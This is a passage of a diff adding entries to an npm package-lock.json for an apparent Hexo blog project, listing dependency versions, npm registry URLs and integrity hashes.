"sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + } + } + }, + "hexo-pagination": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/hexo-pagination/-/hexo-pagination-0.0.2.tgz", + "integrity": "sha1-jPRwx9sN5bGKOSanbesZQBXffys=", + "requires": { + "utils-merge": "^1.0.0" + } + }, + "hexo-permalink-pinyin": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hexo-permalink-pinyin/-/hexo-permalink-pinyin-1.0.0.tgz", + "integrity": "sha512-j/JvJV+2yZOM+aIOOSa8jHgbWSLCe1Hf6G9k6Q2AGls/eE2LeU6/XUAx/R9SSelWZ54M2XHM0ba/PekhunEQLQ==", + "requires": { + "transliteration": "^1.6.2" + } + }, + "hexo-prism-plugin": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/hexo-prism-plugin/-/hexo-prism-plugin-2.3.0.tgz", + "integrity": "sha512-jn8aSVwo8odrZpf2qgETiZeO6cR7D7uDvljHD+CQqWOP97e8LvYAwaFlEvTgJwwKSERZbI5RlwtTOX7CDjz1Mw==", + "requires": { + "dir-resolve": "^1.0.2", + "hexo-fs": "^0.2.1", + "node-prismjs": "^0.1.0", + "prism-themes": "^1.0.0", + "prismjs": "^1.6.0" + } + }, + "hexo-renderer-ejs": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/hexo-renderer-ejs/-/hexo-renderer-ejs-0.3.1.tgz", + "integrity": "sha512-XN8pYJU+Wr3dT8ipqEPRlOBySJpd1C5NUBBzgZpVSVBC/6L36O0YZI/Qd5NxQqwfGfSuKQ8N5iMyjmRXSR1MdA==", + "requires": { + "ejs": "^2.3.4", + "object-assign": "^4.0.1" + } + }, + "hexo-renderer-marked": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/hexo-renderer-marked/-/hexo-renderer-marked-0.3.2.tgz", + "integrity": "sha512-joSLeHB0YRkuViIPQlRz4A+zfJKPNHT+rABFgPHiT1zL9eeTUPxoLL4h7kcgOwRLAontVScaxP2Sie15mNitFg==", + "requires": { + "hexo-util": "^0.6.2", + "marked": "^0.3.9", + "object-assign": "^4.1.1", + "strip-indent": "^2.0.0" + } + }, + "hexo-renderer-stylus": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/hexo-renderer-stylus/-/hexo-renderer-stylus-0.3.3.tgz", + "integrity": "sha1-xU6ifh/Y48ipp6hM+6itNUEiyn8=", + "requires": { + "nib": "^1.1.2", + "stylus": "^0.54.5" + } + }, + "hexo-server": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/hexo-server/-/hexo-server-0.2.2.tgz", + "integrity": "sha512-/KkOYMIGylNoMtnlgas84Kw18A60WU3BVfo8ZnTHy8omCsAz2Z+aK6ddR4PpSmTdLeKDsiZj4ZSg86ZQ+FZzrA==", + "requires": { + "bluebird": "^3.0.6", + "chalk": "^1.1.1", + "compression": "^1.6.0", + "connect": "3.x", + "mime": "^1.3.4", + "morgan": "^1.6.1", + "object-assign": "^4.0.1", + "opn": "^4.0.0", + "serve-static": "^1.10.0" + }, + "dependencies": { + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + } + } + }, + "hexo-util": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-0.6.3.tgz", + "integrity": "sha512-zPxaqCWZz3/25SAB4FlrRtWktJ+Pr+vBiv/nyHpXKgXPt1m70liViKlRwWLqDmRjJ72x6/k4qCEeXHajvcGHUw==", + "requires": { + "bluebird": "^3.4.0", + "camel-case": "^3.0.0", + "cross-spawn": "^4.0.0", + "highlight.js": "^9.4.0", + "html-entities": "^1.2.0", + "striptags": "^2.1.1" + } + }, + "highlight.js": { + "version": "9.15.6", + "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-9.15.6.tgz", + "integrity": "sha512-zozTAWM1D6sozHo8kqhfYgsac+B+q0PmsjXeyDrYIHHcBN0zTVT66+s2GW1GZv7DbyaROdLXKdabwS/WqPyIdQ==" + }, + "html-entities": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.2.1.tgz", + "integrity": "sha1-DfKTUfByEWNRXfueVUPl9u7VFi8=" + }, + "htmlparser2": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz", + "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==", + "requires": { + "domelementtype": "^1.3.1", + "domhandler": "^2.3.0", + "domutils": "^1.5.1", + "entities": "^1.1.1", + "inherits": "^2.0.1", + "readable-stream": "^3.1.1" + } + }, + "http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "dependencies": { + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + } + } + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } + }, + "invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=" + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", + "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", + "requires": { + "binary-extensions": "^1.0.0" + } + }, + "is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + } + } + }, + "is-dotfile": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", + "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=" + }, + "is-equal-shallow": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", + "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", + "requires": { + "is-primitive": "^2.0.0" + } + }, + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" + }, + "is-extglob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", + "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=" + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "is-glob": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", + "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", + "requires": { + "is-extglob": "^1.0.0" + } + }, + "is-number": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", + "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "requires": { + "isobject": "^3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "is-posix-bracket": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", + "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=" + }, + "is-primitive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + }, + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "requires": { + "isarray": "1.0.0" + } + }, + "js-tokens": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", + "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=" + }, + "js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "jsonparse": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", + "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=" + }, + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + }, + "lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", + "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=" + }, + "lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", + "requires": { + "invert-kv": "^1.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "lodash": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" + }, + "lodash.assignin": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.assignin/-/lodash.assignin-4.2.0.tgz", + "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=" + }, + "lodash.bind": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/lodash.bind/-/lodash.bind-4.2.1.tgz", + "integrity": "sha1-euMBfpOWIqwxt9fX3LGzTbFpDTU=" + }, + "lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=" + }, + "lodash.filter": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz", + "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=" + }, + "lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", + "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=" + }, + "lodash.foreach": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz", + "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=" + }, + "lodash.map": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz", + "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=" + }, + "lodash.merge": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.1.tgz", + "integrity": "sha512-AOYza4+Hf5z1/0Hztxpm2/xiPZgi/cjMqdnKTUWTBSKchJlxXXuUSxCCl8rJlf4g6yww/j6mA8nC8Hw/EZWxKQ==" + }, + "lodash.pick": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", + "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" + }, + "lodash.reduce": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz", + "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=" + }, + "lodash.reject": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.reject/-/lodash.reject-4.6.0.tgz", + "integrity": "sha1-gNZJLcFHCGS79YNTO2UfQqn1JBU=" + }, + "lodash.some": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.some/-/lodash.some-4.6.0.tgz", + "integrity": "sha1-G7nzFO9ri63tE7VJFpsqlF62jk0=" + }, + "longest": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", + "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=" + }, + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + }, + "lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=" + }, + "lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "requires": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "map-age-cleaner": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", + "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", + "requires": { + "p-defer": "^1.0.0" + } + }, + "map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=" + }, + "map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", + "requires": { + "object-visit": "^1.0.0" + } + }, + "markdown": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/markdown/-/markdown-0.5.0.tgz", + "integrity": "sha1-KCBbVlqK51kt4gdGPWY33BgnIrI=", + "requires": { + "nopt": "~2.1.1" + } + }, + "marked": { + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/marked/-/marked-0.3.19.tgz", + "integrity": "sha512-ea2eGWOqNxPcXv8dyERdSr/6FmzvWwzjMxpfGB/sbMccXoct+xY+YukPD+QTUZwyvK7BZwcr4m21WBOW41pAkg==" + }, + "math-random": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz", + "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A==" + }, + "mem": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz", + "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==", + "requires": { + "map-age-cleaner": "^0.1.1", + "mimic-fn": "^2.0.0", + "p-is-promise": "^2.0.0" + } + }, + "micromatch": { + "version": "2.3.11", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", + "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", + "requires": { + "arr-diff": "^2.0.0", + "array-unique": "^0.2.1", + "braces": "^1.8.2", + "expand-brackets": "^0.1.4", + "extglob": "^0.3.1", + "filename-regex": "^2.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.1", + "kind-of": "^3.0.2", + "normalize-path": "^2.0.1", + "object.omit": "^2.0.0", + "parse-glob": "^3.0.4", + "regex-cache": "^0.4.2" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" + }, + "mime-types": { + "version": "2.1.24", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", + "requires": { + "mime-db": "1.40.0" + } + }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", + "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=" + }, + "mixin-deep": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", + "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", + "requires": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "mkdirp": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", + "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", + "requires": { + "minimist": "0.0.8" + }, + "dependencies": { + "minimist": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", + "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" + } + } + }, + "moment": { + "version": "2.24.0", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.24.0.tgz", + "integrity": "sha512-bV7f+6l2QigeBBZSM/6yTNq4P2fNpSWj/0e7jQcy87A8e7o2nAfP/34/2ky5Vw4B9S446EtIhodAzkFCcR4dQg==" + }, + "moment-timezone": { + "version": "0.5.25", + "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.25.tgz", + "integrity": "sha512-DgEaTyN/z0HFaVcVbSyVCUU6HeFdnNC3vE4c9cgu2dgMTvjBUBdBzWfasTBmAW45u5OIMeCJtU8yNjM22DHucw==", + "requires": { + "moment": ">= 2.9.0" + } + }, + "morgan": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.9.1.tgz", + "integrity": "sha512-HQStPIV4y3afTiCYVxirakhlCfGkI161c76kKFca7Fk1JusM//Qeo1ej2XaMniiNeaZklMVrh3vTtIzpzwbpmA==", + "requires": { + "basic-auth": "~2.0.0", + "debug": "2.6.9", + "depd": "~1.1.2", + "on-finished": "~2.3.0", + "on-headers": "~1.0.1" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "mv": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz", + "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=", + "optional": true, + "requires": { + "mkdirp": "~0.5.1", + "ncp": "~2.0.0", + "rimraf": "~2.4.0" + } + }, + "nan": { + "version": "2.13.2", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.13.2.tgz", + "integrity": "sha512-TghvYc72wlMGMVMluVo9WRJc0mB8KxxF/gZ4YYFy7V2ZQX9l7rgbPg7vjS9mt6U5HXODVFVI2bOduCzwOMv/lw==", + "optional": true + }, + "nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=" + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "ncp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz", + "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=", + "optional": true + }, + "negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" + }, + "nib": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/nib/-/nib-1.1.2.tgz", + "integrity": "sha1-amnt5AgblcDe+L4CSkyK4MLLtsc=", + "requires": { + "stylus": "0.54.5" + } + }, + "nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + }, + "no-case": { + "version": "2.3.2", + "resolved": 